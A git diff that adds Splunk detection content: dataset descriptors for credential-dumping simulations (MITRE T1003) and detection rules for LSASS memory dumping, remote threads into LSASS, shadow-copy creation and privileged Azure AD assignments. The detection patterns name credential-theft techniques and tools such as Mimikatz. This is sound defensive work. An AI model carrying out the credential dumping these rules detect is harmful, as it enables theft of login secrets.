a/scripts/attack_technique_tests/T1003.008/copy_file_stdoutpipe/copy_file_stdoutpipe.yml b/scripts/attack_technique_tests/T1003.008/copy_file_stdoutpipe/copy_file_stdoutpipe.yml new file mode 100644 index 000000000..1a2bd0ba5 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.008/copy_file_stdoutpipe/copy_file_stdoutpipe.yml @@ -0,0 +1,13 @@ +author: Teoderick Contreras +id: 55292554-6262-11ec-aae4-acde48001122 +date: '2021-12-21' +description: Generated datasets for copy file stdoutpipe in attack range. +environment: attack_range +directory: copy_file_stdoutpipe +mitre_technique: +- T1003.008 +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1003.008/copy_file_stdoutpipe/sysmon_linux.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/scripts/attack_technique_tests/T1003.008/copy_file_stdoutpipe/sysmon_linux.log b/scripts/attack_technique_tests/T1003.008/copy_file_stdoutpipe/sysmon_linux.log new file mode 100644 index 000000000..220f2e38f --- /dev/null +++ b/scripts/attack_technique_tests/T1003.008/copy_file_stdoutpipe/sysmon_linux.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c18efef784e7754f6fd498900656f7e1969e97d32e23c4bb6488e8df63ba39a6 +size 11130080 diff --git a/scripts/attack_technique_tests/T1003.008/esxi_sensitive_files/esxi_sensitive_files.log b/scripts/attack_technique_tests/T1003.008/esxi_sensitive_files/esxi_sensitive_files.log new file mode 100644 index 000000000..b8dc41dd6 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.008/esxi_sensitive_files/esxi_sensitive_files.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:880d7e97db26dbccde3101f25416bf70b743238de17fe1c409c951a58baf2229 +size 1271 diff --git a/scripts/attack_technique_tests/T1003.008/esxi_sensitive_files/esxi_sensitive_files.yml b/scripts/attack_technique_tests/T1003.008/esxi_sensitive_files/esxi_sensitive_files.yml new file mode 100644 index 000000000..0b412daf5 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.008/esxi_sensitive_files/esxi_sensitive_files.yml @@ -0,0 +1,13 @@ +author: Raven Tait, Splunk +id: f4e7c8fc-c534-415b-9f99-9e9419096db5 +date: '2025-07-09' +description: 'Sample of ESXi syslog events showing attempts to access sensitive files on the ESXi system.' +environment: custom +directory: esxi_sensitive_files +mitre_technique: +- T1003.008 +datasets: +- name: esxi_shell_enabled + path: /datasets/attack_techniques/T1003.008/esxi_sensitive_files/esxi_sensitive_files.log + sourcetype: vmw-syslog + source: vmw-syslog \ No newline at end of file diff --git a/scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/auditd_proctitle_access_cred.log b/scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/auditd_proctitle_access_cred.log new file mode 100644 index 000000000..db04dbe4f --- /dev/null +++ b/scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/auditd_proctitle_access_cred.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:28f04ee54387630994d5c5be34ae44f31bf161dd8648242b7bdcd356a3664ff4 +size 8874 diff --git a/scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/linux_auditd_access_credential.log b/scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/linux_auditd_access_credential.log new file mode 100644 index 000000000..663704c29 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/linux_auditd_access_credential.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b155bfd88abe3861db6fb7b6591f1c414e441327485f00a6621cc738c63607b3 +size 1366 diff --git a/scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/linux_auditd_access_credential.yml b/scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/linux_auditd_access_credential.yml new file mode 100644 index 000000000..db69774ca --- /dev/null +++ b/scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/linux_auditd_access_credential.yml @@ -0,0 +1,17 @@ +author: Teoderick Contreras, Splunk +id: 6c67fe1c-ef9e-11ef-b72e-629be3538068 +date: '2025-02-20' +description: Generated datasets for linux auditd access credential in attack range. +environment: attack_range +directory: linux_auditd_access_credential +mitre_technique: +- T1003.008 +datasets: +- name: auditd_proctitle_access_cred + path: /datasets/attack_techniques/T1003.008/linux_auditd_access_credential/auditd_proctitle_access_cred.log + sourcetype: auditd + source: auditd +- name: linux_auditd_access_credential + path: /datasets/attack_techniques/T1003.008/linux_auditd_access_credential/linux_auditd_access_credential.log + sourcetype: auditd + source: auditd diff --git a/scripts/attack_technique_tests/T1003/credential_extraction/credential_extraction.yml b/scripts/attack_technique_tests/T1003/credential_extraction/credential_extraction.yml new file mode 100644 index 000000000..8320f70b4 --- /dev/null +++ b/scripts/attack_technique_tests/T1003/credential_extraction/credential_extraction.yml @@ -0,0 +1,14 @@ +author: Stanislav Miskovic +id: cc9b2669-efc9-11eb-926b-550bf0143fb1 +date: '2021-02-23' +description: Credential extraction via DSInternals and PowerSploit modules, as well + as CacheDump, FGDump, Lazagne, Mimikatz, native Microsoft debugging tools +environment: attack_range +directory: credential_extraction +mitre_technique: +- T1003 +datasets: +- name: mimikatzwindows-sysmon + path: /datasets/attack_techniques/T1003/credential_extraction/mimikatzwindows-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/scripts/attack_technique_tests/T1003/credential_extraction/logAllDSInternalsModules.log b/scripts/attack_technique_tests/T1003/credential_extraction/logAllDSInternalsModules.log new file mode 100644 index 000000000..412224c4a --- /dev/null +++ b/scripts/attack_technique_tests/T1003/credential_extraction/logAllDSInternalsModules.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:80d5d0b9f604981d255e675af96dccde533595085113b7027c99868963851ec2 +size 3000 diff --git a/scripts/attack_technique_tests/T1003/credential_extraction/logAllMimikatzModules.log b/scripts/attack_technique_tests/T1003/credential_extraction/logAllMimikatzModules.log new file mode 100644 index 000000000..65f50f0cb --- /dev/null +++ b/scripts/attack_technique_tests/T1003/credential_extraction/logAllMimikatzModules.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7f261d65748dae02fa67acaf01871bb8866a56fd59236b7beeb34dfa83955afc +size 21274 diff --git a/scripts/attack_technique_tests/T1003/credential_extraction/logAllPowerSploitModulesWithOldNames.log b/scripts/attack_technique_tests/T1003/credential_extraction/logAllPowerSploitModulesWithOldNames.log new file mode 100644 index 000000000..5ff9347a6 --- /dev/null +++ b/scripts/attack_technique_tests/T1003/credential_extraction/logAllPowerSploitModulesWithOldNames.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f0af80be7365991a19e6e580ca03c1e0c432cd64a13dc007257e0bbbf3e8eba1 +size 10533 diff --git a/scripts/attack_technique_tests/T1003/credential_extraction/logFgdump.log b/scripts/attack_technique_tests/T1003/credential_extraction/logFgdump.log new file mode 100644 index 000000000..efce28250 --- /dev/null +++ b/scripts/attack_technique_tests/T1003/credential_extraction/logFgdump.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:909d15cda096e5e9709248f511ba081ecfda74378f7aa2df9260e843c27b5e42 +size 4122 diff --git a/scripts/attack_technique_tests/T1003/credential_extraction/logLazagneCredDump.log b/scripts/attack_technique_tests/T1003/credential_extraction/logLazagneCredDump.log new file mode 100644 index 000000000..f5f89fd4a --- /dev/null +++ b/scripts/attack_technique_tests/T1003/credential_extraction/logLazagneCredDump.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7841d839a02e4463d40e3b56455754726782cb4fd68ac21aa0e97185e2c6202d +size 36085 diff --git a/scripts/attack_technique_tests/T1003/credential_extraction/logLiveKDFullKernelDump.log b/scripts/attack_technique_tests/T1003/credential_extraction/logLiveKDFullKernelDump.log new file mode 100644 index 000000000..95315f21e --- /dev/null +++ b/scripts/attack_technique_tests/T1003/credential_extraction/logLiveKDFullKernelDump.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f1a101015345aa2d8349d0d0c1f9b0247e8e234e8872ddc5e8a5001cb036c1fa +size 32191 diff --git a/scripts/attack_technique_tests/T1003/credential_extraction/logPowerShellModule.log b/scripts/attack_technique_tests/T1003/credential_extraction/logPowerShellModule.log new file mode 100644 index 000000000..db2a7090b --- /dev/null +++ b/scripts/attack_technique_tests/T1003/credential_extraction/logPowerShellModule.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:49c1da99bbab5541e3b30bcb2e0e3aaeb511f6672559aceb14684c72dee82ef2 +size 2671 diff --git a/scripts/attack_technique_tests/T1003/credential_extraction/mimikatzwindows-sysmon.log b/scripts/attack_technique_tests/T1003/credential_extraction/mimikatzwindows-sysmon.log new file mode 100644 index 000000000..4056d41b4 --- /dev/null +++ b/scripts/attack_technique_tests/T1003/credential_extraction/mimikatzwindows-sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a414909e4bd23f96d8d1be73157a5c1bcb3d360a2db1949e81dc4cdb06b88879 +size 1990 diff --git a/scripts/attack_technique_tests/T1003/snapattack/snapattack.log b/scripts/attack_technique_tests/T1003/snapattack/snapattack.log new file mode 100644 index 000000000..3b6b21cb4 --- /dev/null +++ b/scripts/attack_technique_tests/T1003/snapattack/snapattack.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3899a55d5c0a8df3b1bdafafe7bd6f2d40b44b7f8a8793eaddc456aed7973086 +size 1501 diff --git a/scripts/attack_technique_tests/T1003/snapattack/snapattack.yml b/scripts/attack_technique_tests/T1003/snapattack/snapattack.yml new file mode 100644 index 000000000..6dcc590ae --- /dev/null +++ b/scripts/attack_technique_tests/T1003/snapattack/snapattack.yml @@ -0,0 +1,13 @@ +author: Raven Tait, Splunk +id: b7b26034-912b-4cb5-9f7a-f1389e00a680 +date: '2026-04-01' +description: "Generated datasets for Windows Common credential dumpers in attack range." +environment: attack_range +directory: snapattack +mitre_technique: +- T1003 +datasets: +- name: snapattack + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security + path: /datasets/attack_techniques/T1003/snapattack/snapattack.log diff --git a/scripts/attack_technique_tests/T1003/wdigest_enable/sysmon.log b/scripts/attack_technique_tests/T1003/wdigest_enable/sysmon.log new file mode 100644 index 000000000..2cbdaf692 --- /dev/null +++ b/scripts/attack_technique_tests/T1003/wdigest_enable/sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c8ff8cfebf3357139e91a93390e82bf50dd00628f0ba077df46c11af4f03dd0e +size 6213058 diff --git a/scripts/attack_technique_tests/T1003/wdigest_enable/wdigest_enable.yml b/scripts/attack_technique_tests/T1003/wdigest_enable/wdigest_enable.yml new file mode 100644 index 000000000..b5174e2e5 --- /dev/null +++ b/scripts/attack_technique_tests/T1003/wdigest_enable/wdigest_enable.yml @@ -0,0 +1,13 @@ +author: Teoderick Contreras +id: 63aa35fd-7ada-4d23-8cf1-070b8c5abd3f +date: '2021-10-05' +description: wdigest regsitry enable datasets. +environment: attack_range +directory: wdigest_enable +mitre_technique: +- T1003 +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1003/wdigest_enable/sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/scripts/detection_tests/access_lsass_memory_for_dump_creation.yml b/scripts/detection_tests/access_lsass_memory_for_dump_creation.yml new file mode 100644 index 000000000..f7dcd42d7 --- /dev/null +++ b/scripts/detection_tests/access_lsass_memory_for_dump_creation.yml @@ -0,0 +1,69 @@ +name: Access LSASS Memory for Dump Creation +id: fb4c31b0-13e8-4155-8aa5-24de4b8d6717 +version: 14 +date: '2026-03-10' +author: Patrick Bareiss, Splunk +status: production +type: TTP +description: The following analytic detects attempts to dump the LSASS process memory, a common technique in credential dumping attacks. It leverages Sysmon logs, specifically EventCode 10, to identify suspicious call traces to dbgcore.dll and dbghelp.dll associated with lsass.exe. This activity is significant as it often precedes the theft of sensitive login credentials, posing a high risk of unauthorized access to systems and data. If confirmed malicious, attackers could gain access to critical credentials, enabling further compromise and lateral movement within the network. +data_source: + - Sysmon EventID 10 +search: |- + `sysmon` EventCode=10 TargetImage=*lsass.exe CallTrace=*dbgcore.dll* OR CallTrace=*dbghelp.dll* + | stats count min(_time) as firstTime max(_time) as lastTime + BY CallTrace EventID GrantedAccess + Guid Opcode ProcessID + SecurityID SourceImage SourceProcessGUID + SourceProcessId TargetImage TargetProcessGUID + TargetProcessId UserID dest + granted_access parent_process_exec parent_process_guid + parent_process_id parent_process_name parent_process_path + process_exec process_guid process_id + process_name process_path signature + signature_id user_id vendor_product + | `security_content_ctime(firstTime)` + | `security_content_ctime(lastTime)` + | `access_lsass_memory_for_dump_creation_filter` +how_to_implement: This search requires Sysmon Logs and a Sysmon configuration, which includes EventCode 10 for lsass.exe. This search uses an input macro named `sysmon`. We strongly recommend that you specify your environment-specific configurations (index, source, sourcetype, etc.) for Windows Sysmon logs. Replace the macro definition with configurations for your Splunk environment. The search also uses a post-filter macro designed to filter out known false positives. +known_false_positives: Administrators can create memory dumps for debugging purposes, but memory dumps of the LSASS process would be unusual. +references: + - https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Kheirkhabarov_Hunting_for_Credentials_Dumping_in_Windows_Environment.pdf +drilldown_searches: + - name: View the detection results for - "$dest$" + search: '%original_detection_search% | search dest = "$dest$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$dest$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$dest$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: process $SourceImage$ injected into $TargetImage$ and was attempted dump LSASS on $dest$. Adversaries tend to do this when trying to accesss credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). + risk_objects: + - field: dest + type: system + score: 50 + threat_objects: + - field: TargetImage + type: process +tags: + analytic_story: + - CISA AA23-347A + - Credential Dumping + - Cactus Ransomware + - Lokibot + - Scattered Lapsus$ Hunters + asset_type: Windows + mitre_attack_id: + - T1003.001 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: endpoint +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon.log + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + sourcetype: XmlWinEventLog diff --git a/scripts/detection_tests/azure_ad_privileged_authentication_administrator_role_assigned.yml b/scripts/detection_tests/azure_ad_privileged_authentication_administrator_role_assigned.yml new file mode 100644 index 000000000..303e03168 --- /dev/null +++ b/scripts/detection_tests/azure_ad_privileged_authentication_administrator_role_assigned.yml @@ -0,0 +1,65 @@ +name: Azure AD Privileged Authentication Administrator Role Assigned +id: a7da845d-6fae-41cf-b823-6c0b8c55814a +version: 12 +date: '2026-03-10' +author: Mauricio Velazco, Gowthamaraj Rajendran, Splunk +status: production +type: TTP +data_source: + - Azure Active Directory Add member to role +description: The following analytic detects the assignment of the Privileged Authentication Administrator role to an Azure AD user. It leverages Azure Active Directory audit logs to identify when this specific role is assigned. This activity is significant because users in this role can set or reset authentication methods for any user, including those in privileged roles like Global Administrators. If confirmed malicious, an attacker could change credentials and assume the identity and permissions of high-privilege users, potentially leading to unauthorized access to sensitive information and critical configurations. +search: |- + `azure_monitor_aad` "operationName"="Add member to role" "properties.targetResources{}.modifiedProperties{}.newValue"="\"Privileged Authentication Administrator\"" + | rename properties.* as * + | rename initiatedBy.user.userPrincipalName as initiatedBy + | fillnull + | stats count min(_time) as firstTime max(_time) as lastTime + BY dest user src + vendor_account vendor_product initiatedBy + signature + | `security_content_ctime(firstTime)` + | `security_content_ctime(lastTime)` + | `azure_ad_privileged_authentication_administrator_role_assigned_filter` +how_to_implement: You must install the latest version of Splunk Add-on for Microsoft Cloud Services from Splunkbase (https://splunkbase.splunk.com/app/3110/#/details). You must be ingesting Azure Active Directory events into your Splunk environment. This analytic was written to be used with the azure:monitor:aad sourcetype leveraging the AuditLog log category. +known_false_positives: Administrators may legitimately assign the Privileged Authentication Administrator role as part of administrative tasks. Filter as needed. +references: + - https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#privileged-authentication-administrator + - https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48 + - https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference +drilldown_searches: + - name: View the detection results for - "$user$" + search: '%original_detection_search% | search user = "$user$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$user$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$user$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: The privileged Azure AD role Privileged Authentication Administrator was assigned for User $user$ initiated by $initiatedBy$ + risk_objects: + - field: user + type: user + score: 50 + - field: initiatedBy + type: user + score: 50 + threat_objects: [] +tags: + analytic_story: + - Azure Active Directory Privilege Escalation + - Scattered Lapsus$ Hunters + asset_type: Azure Active Directory + mitre_attack_id: + - T1003.002 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: identity +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1098.003/azure_ad_assign_privileged_role/azure-audit.log + source: Azure AD + sourcetype: azure:monitor:aad diff --git a/scripts/detection_tests/azure_ad_privileged_graph_api_permission_assigned.yml b/scripts/detection_tests/azure_ad_privileged_graph_api_permission_assigned.yml new file mode 100644 index 000000000..84fd6d2cb --- /dev/null +++ b/scripts/detection_tests/azure_ad_privileged_graph_api_permission_assigned.yml @@ -0,0 +1,53 @@ +name: Azure AD Privileged Graph API Permission Assigned +id: 5521f8c5-1aa3-473c-9eb7-853701924a06 +version: 9 +date: '2026-03-10' +author: Mauricio Velazco, Splunk +status: production +type: TTP +data_source: + - Azure Active Directory Update application +description: The following analytic detects the assignment of high-risk Graph API permissions in Azure AD, specifically Application.ReadWrite.All, AppRoleAssignment.ReadWrite.All, and RoleManagement.ReadWrite.Directory. It uses azure_monitor_aad data to scan AuditLogs for 'Update application' operations, identifying when these permissions are assigned. This activity is significant as it grants broad control over Azure AD, including application and directory settings. If confirmed malicious, it could lead to unauthorized modifications and potential security breaches, compromising the integrity and security of the Azure AD environment. Immediate investigation is required. +search: "`azure_monitor_aad` category=AuditLogs operationName=\"Update application\" | eval newvalue = mvindex('properties.targetResources{}.modifiedProperties{}.newValue',0) | spath input=newvalue | search \"{}.RequiredAppPermissions{}.EntitlementId\"=\" 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9\" OR \"{}.RequiredAppPermissions{}.EntitlementId\" =\"06b708a9-e830-4db3-a914-8e69da51d44f\" OR \"{}.RequiredAppPermissions{}.EntitlementId\" =\"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\" | eval Permissions = '{}.RequiredAppPermissions{}.EntitlementId' | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by dest user src vendor_account vendor_product Permissions signature | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_privileged_graph_api_permission_assigned_filter`" +how_to_implement: You must install the latest version of Splunk Add-on for Microsoft Cloud Services from Splunkbase (https://splunkbase.splunk.com/app/3110/#/details). You must be ingesting Azure Active Directory events into your Splunk environment. This analytic was written to be used with the azure:monitor:aad sourcetype leveraging the AuditLog log category. +known_false_positives: Privileged Graph API permissions may be assigned for legitimate purposes. Filter as needed. +references: + - https://cloudbrothers.info/en/azure-attack-paths/ + - https://github.com/mandiant/Mandiant-Azure-AD-Investigator/blob/master/MandiantAzureADInvestigator.json + - https://learn.microsoft.com/en-us/graph/permissions-reference + - https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/ + - https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48 +drilldown_searches: + - name: View the detection results for - "$user$" + search: '%original_detection_search% | search user = "$user$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$user$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$user$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: User $user$ assigned privileged Graph API permissions to $Permissions$ + risk_objects: + - field: user + type: user + score: 50 + threat_objects: [] +tags: + analytic_story: + - Azure Active Directory Persistence + - NOBELIUM Group + asset_type: Azure Active Directory + mitre_attack_id: + - T1003.002 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: identity +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1098.003/azure_ad_privileged_graph_perm_assigned/azure_ad_privileged_graph_perm_assigned.log + source: Azure AD + sourcetype: azure:monitor:aad diff --git a/scripts/detection_tests/create_remote_thread_into_lsass.yml b/scripts/detection_tests/create_remote_thread_into_lsass.yml new file mode 100644 index 000000000..3cf4c3136 --- /dev/null +++ b/scripts/detection_tests/create_remote_thread_into_lsass.yml @@ -0,0 +1,67 @@ +name: Create Remote Thread into LSASS +id: 67d4dbef-9564-4699-8da8-03a151529edc +version: 12 +date: '2026-03-10' +author: Patrick Bareiss, Splunk +status: production +type: TTP +description: The following analytic detects the creation of a remote thread in the Local Security Authority Subsystem Service (LSASS). This behavior is identified using Sysmon EventID 8 logs, focusing on processes that create remote threads in lsass.exe. This activity is significant because it is commonly associated with credential dumping, a tactic used by adversaries to steal user authentication credentials. If confirmed malicious, this could allow attackers to gain unauthorized access to sensitive information, leading to potential compromise of the entire network. Analysts should investigate to differentiate between legitimate tools and potential threats. +data_source: + - Sysmon EventID 8 +search: |- + `sysmon` EventID=8 TargetImage=*lsass.exe + | stats count min(_time) as firstTime max(_time) as lastTime + BY EventID Guid NewThreadId + ProcessID SecurityID SourceImage + SourceProcessGuid SourceProcessId StartAddress + StartFunction StartModule TargetImage + TargetProcessGuid TargetProcessId UserID + dest parent_process_exec parent_process_guid + parent_process_id parent_process_name parent_process_path + process_exec process_guid process_id + process_name process_path signature + signature_id user_id vendor_product + | `security_content_ctime(firstTime)` + | `security_content_ctime(lastTime)` + | `create_remote_thread_into_lsass_filter` +how_to_implement: This search needs Sysmon Logs with a Sysmon configuration, which includes EventCode 8 with lsass.exe. This search uses an input macro named `sysmon`. We strongly recommend that you specify your environment-specific configurations (index, source, sourcetype, etc.) for Windows Sysmon logs. Replace the macro definition with configurations for your Splunk environment. The search also uses a post-filter macro designed to filter out known false positives. +known_false_positives: Other tools can access LSASS for legitimate reasons and generate an event. In these cases, tweaking the search may help eliminate noise. +references: + - https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Kheirkhabarov_Hunting_for_Credentials_Dumping_in_Windows_Environment.pdf +drilldown_searches: + - name: View the detection results for - "$dest$" + search: '%original_detection_search% | search dest = "$dest$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$dest$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$dest$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: A process has created a remote thread into $TargetImage$ on $dest$. This behavior is indicative of credential dumping and should be investigated. + risk_objects: + - field: dest + type: system + score: 50 + threat_objects: + - field: TargetImage + type: process_name +tags: + analytic_story: + - Credential Dumping + - BlackSuit Ransomware + - Lokibot + asset_type: Windows + mitre_attack_id: + - T1003.001 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: endpoint +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon.log + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + sourcetype: XmlWinEventLog diff --git a/scripts/detection_tests/creation_of_shadow_copy_with_wmic_and_powershell.yml b/scripts/detection_tests/creation_of_shadow_copy_with_wmic_and_powershell.yml new file mode 100644 index 000000000..c72d20865 --- /dev/null +++ b/scripts/detection_tests/creation_of_shadow_copy_with_wmic_and_powershell.yml @@ -0,0 +1,72 @@ +name: Creation of Shadow Copy with wmic and powershell +id: 2ed8b538-d284-449a-be1d-82ad1dbd186b +version: 13 +date: '2026-03-10' +author: Patrick Bareiss, Splunk +status: production +type: TTP +description: The following analytic detects the creation of shadow copies using "wmic" or "Powershell" commands. It leverages the Endpoint.Processes data model in Splunk to identify processes where the command includes "shadowcopy" and "create". This activity is significant because it may indicate an attacker attempting to manipulate or access data in an unauthorized manner, potentially leading to data theft or manipulation. If confirmed malicious, this behavior could allow attackers to backup and exfiltrate sensitive data or hide their tracks by restoring files to a previous state after an attack. +data_source: + - Sysmon EventID 1 + - Windows Event Log Security 4688 + - CrowdStrike ProcessRollup2 +search: |- + | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes + WHERE `process_wmic` + OR + `process_powershell` Processes.process=*shadowcopy* Processes.process=*create* + BY Processes.action Processes.dest Processes.original_file_name + Processes.parent_process Processes.parent_process_exec Processes.parent_process_guid + Processes.parent_process_id Processes.parent_process_name Processes.parent_process_path + Processes.process Processes.process_exec Processes.process_guid + Processes.process_hash Processes.process_id Processes.process_integrity_level + Processes.process_name Processes.process_path Processes.user + Processes.user_id Processes.vendor_product + | `drop_dm_object_name(Processes)` + | `security_content_ctime(firstTime)` + | `security_content_ctime(lastTime)` + | `creation_of_shadow_copy_with_wmic_and_powershell_filter` +how_to_implement: The detection is based on data that originates from Endpoint Detection and Response (EDR) agents. These agents are designed to provide security-related telemetry from the endpoints where the agent is installed. To implement this search, you must ingest logs that contain the process GUID, process name, and parent process. Additionally, you must ingest complete command-line executions. These logs must be processed using the appropriate Splunk Technology Add-ons that are specific to the EDR product. The logs must also be mapped to the `Processes` node of the `Endpoint` data model. Use the Splunk Common Information Model (CIM) to normalize the field names and speed up the data modeling process. +known_false_positives: Legitimate administrator usage of wmic to create a shadow copy. +references: + - https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Kheirkhabarov_Hunting_for_Credentials_Dumping_in_Windows_Environment.pdf + - https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF +drilldown_searches: + - name: View the detection results for - "$user$" and "$dest$" + search: '%original_detection_search% | search user = "$user$" dest = "$dest$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$user$" and "$dest$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$user$", "$dest$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create a shadow copy to perform offline password cracking. + risk_objects: + - field: user + type: user + score: 50 + - field: dest + type: system + score: 50 + threat_objects: [] +tags: + analytic_story: + - Volt Typhoon + - Living Off The Land + - Compromised Windows Host + - Credential Dumping + asset_type: Endpoint + mitre_attack_id: + - T1003.003 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: endpoint +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1003.003/atomic_red_team/windows-sysmon.log + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + 